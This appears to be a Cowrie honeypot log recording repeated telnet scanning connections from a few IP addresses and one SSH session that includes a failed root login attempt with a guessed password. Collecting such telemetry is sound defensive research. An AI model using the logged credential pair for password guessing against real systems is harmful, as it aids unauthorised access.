{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":52050,"dst_ip":"159.203.135.109","dst_port":23,"session":"60797b69f816","protocol":"telnet","message":"New connection: 161.132.53.68:52050 (159.203.135.109:23) [session: 60797b69f816]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:18.809715Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":37772,"dst_ip":"159.203.135.109","dst_port":23,"session":"3df6106469a6","protocol":"telnet","message":"New connection: 174.142.104.49:37772 (159.203.135.109:23) [session: 3df6106469a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:18.865321Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":52052,"dst_ip":"159.203.135.109","dst_port":23,"session":"427db56d0a33","protocol":"telnet","message":"New connection: 161.132.53.68:52052 (159.203.135.109:23) [session: 427db56d0a33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:18.923118Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":38282,"dst_ip":"159.203.135.109","dst_port":23,"session":"10dbd2ecc397","protocol":"telnet","message":"New connection: 174.142.104.49:38282 (159.203.135.109:23) [session: 10dbd2ecc397]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:19.107021Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":43852,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c2933d3a460","protocol":"telnet","message":"New connection: 174.142.104.49:43852 (159.203.135.109:23) [session: 4c2933d3a460]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:19.262087Z"}
{"eventid":"cowrie.session.closed","duration":30.692187309265137,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:19.356838Z","src_ip":"174.142.104.49","session":"9da2031d2799","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.644505977630615,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:19.363587Z","src_ip":"174.142.104.49","session":"0a46092213d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":38892,"dst_ip":"159.203.135.109","dst_port":23,"session":"a88058cf221c","protocol":"telnet","message":"New connection: 174.142.104.49:38892 (159.203.135.109:23) [session: a88058cf221c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:19.414810Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":42656,"dst_ip":"159.203.135.109","dst_port":23,"session":"caa8d5090241","protocol":"telnet","message":"New connection: 174.142.104.49:42656 (159.203.135.109:23) [session: caa8d5090241]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:19.593665Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":42732,"dst_ip":"159.203.135.109","dst_port":23,"session":"238143910c2a","protocol":"telnet","message":"New connection: 174.142.104.49:42732 (159.203.135.109:23) [session: 238143910c2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:19.606079Z"}
{"eventid":"cowrie.session.closed","duration":120.00100326538086,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:19.689117Z","src_ip":"174.142.104.49","session":"d31eb2669fef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.984004497528076,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:19.761601Z","src_ip":"174.142.104.49","session":"5d45c93ea4e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":37802,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f66640537d4","protocol":"telnet","message":"New connection: 174.142.104.49:37802 (159.203.135.109:23) [session: 9f66640537d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:19.915093Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":41572,"dst_ip":"159.203.135.109","dst_port":23,"session":"b751d01d7b5f","protocol":"telnet","message":"New connection: 174.142.104.49:41572 (159.203.135.109:23) [session: b751d01d7b5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:19.945796Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":38122,"dst_ip":"159.203.135.109","dst_port":23,"session":"c27893272f57","protocol":"telnet","message":"New connection: 174.142.104.49:38122 (159.203.135.109:23) [session: c27893272f57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:20.041394Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":40046,"dst_ip":"159.203.135.109","dst_port":23,"session":"42bfc0fc8b53","protocol":"telnet","message":"New connection: 174.142.104.49:40046 (159.203.135.109:23) [session: 42bfc0fc8b53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:20.077754Z"}
{"eventid":"cowrie.session.closed","duration":30.46711230278015,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:20.345482Z","src_ip":"174.142.104.49","session":"fefc2993b179","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":40858,"dst_ip":"159.203.135.109","dst_port":23,"session":"83112122aefd","protocol":"telnet","message":"New connection: 174.142.104.49:40858 (159.203.135.109:23) [session: 83112122aefd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:20.543650Z"}
{"eventid":"cowrie.session.closed","duration":31.14406132698059,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:20.811934Z","src_ip":"174.142.104.49","session":"0f8e385b25be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":52060,"dst_ip":"159.203.135.109","dst_port":23,"session":"85829a2d1ce5","protocol":"telnet","message":"New connection: 161.132.53.68:52060 (159.203.135.109:23) [session: 85829a2d1ce5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:20.843134Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":46678,"dst_ip":"159.203.135.109","dst_port":23,"session":"715e7fcd679f","protocol":"telnet","message":"New connection: 174.142.104.49:46678 (159.203.135.109:23) [session: 715e7fcd679f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:20.907950Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":36944,"dst_ip":"10.17.0.5","dst_port":23,"session":"736b7703e142","protocol":"telnet","message":"New connection: 104.245.105.2:36944 (10.17.0.5:23) [session: 736b7703e142]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:21.178234Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":45704,"dst_ip":"159.203.135.109","dst_port":23,"session":"0bb1c1441d38","protocol":"telnet","message":"New connection: 174.142.104.49:45704 (159.203.135.109:23) [session: 0bb1c1441d38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:21.342857Z"}
{"eventid":"cowrie.session.closed","duration":30.318533658981323,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:21.424558Z","src_ip":"174.142.104.49","session":"d3e08c55207d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":42288,"dst_ip":"159.203.135.109","dst_port":23,"session":"64c807a49abc","protocol":"telnet","message":"New connection: 174.142.104.49:42288 (159.203.135.109:23) [session: 64c807a49abc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:21.435902Z"}
{"eventid":"cowrie.session.closed","duration":31.225250005722046,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:21.598583Z","src_ip":"174.142.104.49","session":"84784c976cf2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.489455938339233,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:21.728484Z","src_ip":"174.142.104.49","session":"565678f111cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":54076,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f811d066e86","protocol":"telnet","message":"New connection: 193.22.147.168:54076 (10.17.0.5:23) [session: 5f811d066e86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:21.776170Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":46926,"dst_ip":"159.203.135.109","dst_port":23,"session":"2488d9839e94","protocol":"telnet","message":"New connection: 174.142.104.49:46926 (159.203.135.109:23) [session: 2488d9839e94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:22.079710Z"}
{"eventid":"cowrie.session.closed","duration":120.00156378746033,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:22.359236Z","src_ip":"174.142.104.49","session":"c51a49b05e52","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.34662413597107,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:22.420028Z","src_ip":"174.142.104.49","session":"cd94f5778b46","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":42640,"dst_ip":"159.203.135.109","dst_port":23,"session":"40383130550a","protocol":"telnet","message":"New connection: 174.142.104.49:42640 (159.203.135.109:23) [session: 40383130550a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:22.601823Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":54082,"dst_ip":"10.17.0.5","dst_port":23,"session":"906b0da22938","protocol":"telnet","message":"New connection: 193.22.147.168:54082 (10.17.0.5:23) [session: 906b0da22938]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:22.881292Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":45132,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc9c2e5dd84a","protocol":"telnet","message":"New connection: 174.142.104.49:45132 (159.203.135.109:23) [session: dc9c2e5dd84a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:23.002820Z"}
{"eventid":"cowrie.session.closed","duration":31.21894383430481,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:23.012741Z","src_ip":"174.142.104.49","session":"80129b472fcc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":76.51990294456482,"message":"Connection lost after 76 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:23.068393Z","src_ip":"174.142.104.49","session":"b6ab11aea5c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.275842428207397,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:23.479082Z","src_ip":"174.142.104.49","session":"db1ce627e80c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.72548270225525,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:23.674289Z","src_ip":"174.142.104.49","session":"85a558e04cea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":49628,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f7faf13767e","protocol":"telnet","message":"New connection: 174.142.104.49:49628 (159.203.135.109:23) [session: 1f7faf13767e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:23.722850Z"}
{"eventid":"cowrie.session.closed","duration":32.33376932144165,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:23.743010Z","src_ip":"161.132.53.68","session":"b4c3bfee1375","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":51838,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c11a6f0cea6","protocol":"telnet","message":"New connection: 174.142.104.49:51838 (159.203.135.109:23) [session: 9c11a6f0cea6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:23.981291Z"}
{"eventid":"cowrie.session.closed","duration":30.766353130340576,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:24.376225Z","src_ip":"174.142.104.49","session":"bc7c86282806","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":54098,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8982d87f358","protocol":"telnet","message":"New connection: 193.22.147.168:54098 (10.17.0.5:23) [session: d8982d87f358]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:24.442664Z"}
{"eventid":"cowrie.session.closed","duration":120.00103497505188,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:24.682917Z","src_ip":"174.142.104.49","session":"22190601198a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.492210865020752,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:25.009010Z","src_ip":"174.142.104.49","session":"764e7c9f2900","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":54086,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4a8bdf2468d","protocol":"telnet","message":"New connection: 193.22.147.168:54086 (10.17.0.5:23) [session: c4a8bdf2468d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:25.048296Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":48872,"dst_ip":"159.203.135.109","dst_port":23,"session":"5dcd32f4966e","protocol":"telnet","message":"New connection: 174.142.104.49:48872 (159.203.135.109:23) [session: 5dcd32f4966e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:25.192503Z"}
{"eventid":"cowrie.session.closed","duration":15.575685501098633,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:25.344969Z","src_ip":"174.142.104.49","session":"8047eb7b959e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.431300401687622,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:25.352944Z","src_ip":"174.142.104.49","session":"56730285ac90","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":23.770179986953735,"message":"Connection lost after 23 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:25.604364Z","src_ip":"174.142.104.49","session":"c4abda05112c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":52072,"dst_ip":"159.203.135.109","dst_port":23,"session":"04d11861943c","protocol":"telnet","message":"New connection: 161.132.53.68:52072 (159.203.135.109:23) [session: 04d11861943c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:25.640361Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":54100,"dst_ip":"10.17.0.5","dst_port":23,"session":"107e512bddfa","protocol":"telnet","message":"New connection: 193.22.147.168:54100 (10.17.0.5:23) [session: 107e512bddfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:25.809206Z"}
{"eventid":"cowrie.session.closed","duration":31.03774857521057,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:25.903054Z","src_ip":"174.142.104.49","session":"932b0695b521","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.747358083724976,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:26.344212Z","src_ip":"174.142.104.49","session":"0cdce444ee89","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.237480401992798,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:26.379240Z","src_ip":"174.142.104.49","session":"251a995712c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"96.78.175.36","src_port":42150,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f28ac58f49b","protocol":"ssh","message":"New connection: 96.78.175.36:42150 (10.17.0.5:22) [session: 9f28ac58f49b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:26.536753Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:26.541876Z","src_ip":"96.78.175.36","session":"9f28ac58f49b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:26.632135Z","src_ip":"96.78.175.36","session":"9f28ac58f49b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00154685974121,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:26.928759Z","src_ip":"174.142.104.49","session":"49cc0c71d0ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.29224729537964,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:26.956404Z","src_ip":"174.142.104.49","session":"7dc9eb725222","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"12qwaszx!@","message":"login attempt [root/12qwaszx!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:27.018986Z","src_ip":"96.78.175.36","session":"9f28ac58f49b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":14.680616617202759,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:27.522245Z","src_ip":"174.142.104.49","session":"f0bef09ecd9e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.6939857006073,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:27.716837Z","src_ip":"174.142.104.49","session":"4c50fecd8c76","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.316075086593628,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:27.854538Z","src_ip":"174.142.104.49","session":"889a96ce04af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.80947756767273,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:28.098334Z","src_ip":"174.142.104.49","session":"b4cd309efc5e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:28.122233Z","src_ip":"96.78.175.36","session":"9f28ac58f49b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":59298,"dst_ip":"159.203.135.109","dst_port":23,"session":"e114ff469abd","protocol":"telnet","message":"New connection: 174.142.104.49:59298 (159.203.135.109:23) [session: e114ff469abd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:28.252808Z"}
{"eventid":"cowrie.session.closed","duration":31.08314275741577,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:28.378562Z","src_ip":"174.142.104.49","session":"2d3e792ba3d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.770203113555908,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:28.875759Z","src_ip":"174.142.104.49","session":"4c892cb4403b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":60404,"dst_ip":"159.203.135.109","dst_port":23,"session":"59961c722dde","protocol":"telnet","message":"New connection: 174.142.104.49:60404 (159.203.135.109:23) [session: 59961c722dde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:28.880706Z"}
{"eventid":"cowrie.session.closed","duration":31.232224225997925,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:29.065557Z","src_ip":"174.142.104.49","session":"63bd017c85fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":35424,"dst_ip":"159.203.135.109","dst_port":23,"session":"c23eb14c6f9f","protocol":"telnet","message":"New connection: 174.142.104.49:35424 (159.203.135.109:23) [session: c23eb14c6f9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:29.737571Z"}
{"eventid":"cowrie.session.closed","duration":32.48018741607666,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:29.834773Z","src_ip":"161.132.53.68","session":"8a90a0f598c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":58682,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d797f48f218","protocol":"telnet","message":"New connection: 174.142.104.49:58682 (159.203.135.109:23) [session: 4d797f48f218]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:29.897780Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":56784,"dst_ip":"159.203.135.109","dst_port":23,"session":"6bc5cacd13cd","protocol":"telnet","message":"New connection: 174.142.104.49:56784 (159.203.135.109:23) [session: 6bc5cacd13cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:29.929593Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":60582,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc894e8c5d9e","protocol":"telnet","message":"New connection: 174.142.104.49:60582 (159.203.135.109:23) [session: cc894e8c5d9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:29.950991Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":57212,"dst_ip":"159.203.135.109","dst_port":23,"session":"c886907160b2","protocol":"telnet","message":"New connection: 174.142.104.49:57212 (159.203.135.109:23) [session: c886907160b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:30.153672Z"}
